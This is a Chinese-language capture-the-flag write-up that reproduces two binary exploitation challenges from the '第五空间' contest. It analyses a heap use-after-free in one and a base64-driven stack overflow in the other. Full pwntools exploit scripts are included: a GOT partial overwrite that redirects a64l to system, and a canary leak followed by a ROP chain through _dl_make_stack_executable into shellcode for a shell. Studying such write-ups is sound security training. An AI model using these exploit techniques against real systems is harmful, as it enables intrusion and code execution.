朝彻

  1. xiaolan@ubuntu:~/Desktop/pwn_CTF/cc$ checksec pwn10
  2. [*] '/home/xiaolan/Desktop/pwn_CTF/cc/pwn10'
  3. Arch: amd64-64-little
  4. RELRO: Partial RELRO
  5. Stack: Canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x400000)

分析程序逻辑

Create函数:连续申请两个大小为0x20的chunk。那么Chunk_list里只存储real_chunk的data_point,而real_chunk里存储用户可操作的user_chunk的data_point。

Delete函数:只检查real_chunk是否为已free的状态来防止Double Free,且将real_chunk和user_chunk的指针均进行了清空。

Edit函数:第一次修改chunk会将user_chunk的data_point放置在BSS段,第二次使用时将直接取放在在BSS段的user_chunk的data_point进行修改,此时,不会验证user_chunk是否已被释放

Show函数:只能读两个字节,因此libc基址无法完全泄露。

漏洞分析

本题存在多个漏洞点:

  1. Edit函数在对Chunk编辑时不会验证该Chunk的合法性。
  2. 虽然Show函数只能读两个字节,但是发现a64l和system函数差的恰好是0x5E0,因此可以使用低位覆盖攻击,也就是说,泄露低两个字节就足以进行攻击。“第五空间“复现 - 图1
  3. 程序整体设计存在漏洞,程序本想构造Chunk_list[index]指向real_chunk的data域,real_chunk的data域指向user_chunk的data域。但是在delete函数中,居然先Free了real_chunk,再释放了user_chunk。那么在接下来的两次malloc中,real_chunk会变为user_chunk,而user_chunk会变为real_chunk。当我们能控制real_chunk的data域时,我们可以利用edit函数获取任意地址写的能力,利用show函数获取任意地址部分读的能力,进而完成劫持GOT表~

EXP

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. # context.arch='amd64'
  5. pwn10=ELF("./pwn10")
  6. # libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  7. Edit_state=True
  8. if args['REMOTE']:
  9. sh = remote(sys.argv[1], sys.argv[2])
  10. else:
  11. sh = process("./pwn10")
  12. def creat(value):
  13. sh.recvuntil('Give me your choice : ')
  14. sh.sendline('1')
  15. sh.recvuntil('Give me your size : ')
  16. sh.sendline(str(len(value)))
  17. sh.recvuntil('Now give me your content')
  18. sh.send(value)
  19. def show(index):
  20. sh.recvuntil('Give me your choice : ')
  21. sh.sendline('2')
  22. sh.recvuntil('Give me your index : ')
  23. sh.sendline(str(index))
  24. def edit(index,value):
  25. global Edit_state
  26. sh.recvuntil('Give me your choice : ')
  27. sh.sendline('3')
  28. if Edit_state:
  29. sh.recvuntil('Give me your index : ')
  30. sh.sendline(str(index))
  31. sh.recvuntil('Give me your size : ')
  32. sh.sendline(str(len(value)))
  33. sh.recvuntil('Now give me your content')
  34. sh.send(value)
  35. Edit_state=not Edit_state
  36. def delete(index):
  37. sh.recvuntil('Give me your choice : ')
  38. sh.sendline('4')
  39. sh.recvuntil('Give me your index : ')
  40. sh.sendline(str(index))
  41. creat('Chunk1')
  42. edit(0,p64(pwn10.got['a64l']))
  43. delete(0)
  44. creat('Chunk1')
  45. edit(0,p64(pwn10.got['a64l']))
  46. show(0)
  47. sh.recvline()
  48. a64l_part=u16(sh.recvuntil('\x0a').strip('\x0a'))
  49. log.success('We get low bits of a64l got addr:'+str(hex(a64l_part)))
  50. system_part=a64l_part-0x5E0
  51. log.success('We get low bits of system addr:'+str(hex(system_part)))
  52. edit(0,p16(system_part))
  53. sh.recvuntil('Give me your choice : ')
  54. sh.sendline('/bin/sh\x00')
  55. sh.interactive()

坐忘

  1. xiaolan@ubuntu:~/Desktop/pwn_CTF/zw$ checksec pwn9
  2. [*] '/home/xiaolan/Desktop/pwn_CTF/zw/pwn9'
  3. Arch: amd64-64-little
  4. RELRO: Partial RELRO
  5. Stack: Canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x400000)

分析程序逻辑

逻辑很简单,就是先申请一块大的chunk,然后把用户输入放进去,然后对用户输入进行Base64解密,解密结果放在一个栈变量上,

漏洞分析

  1. 由于它在做值转移的时候并没有考虑溢出,因此此处存在一个Satck Overflow
  2. 利用Satck Overflow可以泄露Canary的值。
  3. 尽管程序是静态编译的程序,我们无法利用ret2libc来完成攻击,但我们可以使用_dl_make_stack_executable函数来绕过NX防护,进而完成ret2shellcode攻击。
  4. 发现程序中有以下的gadget
    1. 0x00000000004a4637 : jmp rsp
    2. 0x00000000004433e6 : pop rdx ; ret
    3. 0x00000000004715e4 : pop rax ; ret
    4. 0x0000000000401e36 : pop rdi ; ret
    5. 0x00000000004170a1 : mov qword ptr [rdx], rax ; ret

“第五空间“复现 - 图2

“第五空间“复现 - 图3

“第五空间“复现 - 图4

  1. 配合Satck Overflow我们可以构造如下payload
    p64(0x00000000004715e4) //RAX等待赋值
    +p64(0x0000000000000007) //0x7 -> RAX
    +p64(0x00000000004433e6) //RDX等待赋值
    +p64(0x00000000006CAFE0) //__stack_prot -> RDX
    +p64(0x00000000004170a1) //RAX -> RDX 即 0x7 -> __stack_prot
    +p64(0x0000000000401e36) //RDI等待赋值
    +p64(0x00000000006CAF90) //__libc_stack_end -> RDI
    +p64(0x000000000047D5E0) //call _dl_make_stack_executable
    +p64(0x00000000004a4637) //JMP RSP
    +Shellcode
    

EXP

from pwn import *
import base64
import sys
context.log_level='debug'
context.arch='amd64'

pwn9=ELF("./pwn9")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
 sh = remote(sys.argv[1], sys.argv[2])
else:
 sh = process("./pwn9")

leave_ret=0x0000000000400f48
jmp_rsp=0x00000000004a4637
pop_rdx=0x00000000004433e6
pop_rax=0x00000000004715e4
pop_rdi=0x0000000000401e36
mov_rdx_rax=0x00000000004170a1

leak_canary_payload='a'*0x9
sh.recvuntil(">")
# gdb.attach(sh)
sh.sendline(base64.b64encode(leak_canary_payload))
sh.recvuntil('a'*9)
Canary_Value=u64('\x00'+sh.recvline()[:7])
log.success('Now we get canary value is '+str(hex(Canary_Value)))
sh.recvuntil("continue ?")
sh.sendline('yes')
payload='a'*0x8+p64(Canary_Value)+p64(0xdeadbeef)
payload+=p64(pop_rax)+p64(0x7)
payload+=p64(pop_rdx)+p64(0x6CAFE0)
payload+=p64(mov_rdx_rax)
payload+=p64(pop_rdi)+p64(0x6CAF90)
payload+=p64(0x47D5E0)
payload+=p64(0x4a4637)
payload+=asm(shellcraft.sh())
sh.recvuntil(">")
sh.sendline(base64.b64encode(payload))
sh.recvuntil("continue ?")
gdb.attach(sh)
sh.sendline('no')
sh.interactive()

PS:这里还有一位大佬使用的是直接构造系统调用的rop来getshell的详见这里

(未完待续~)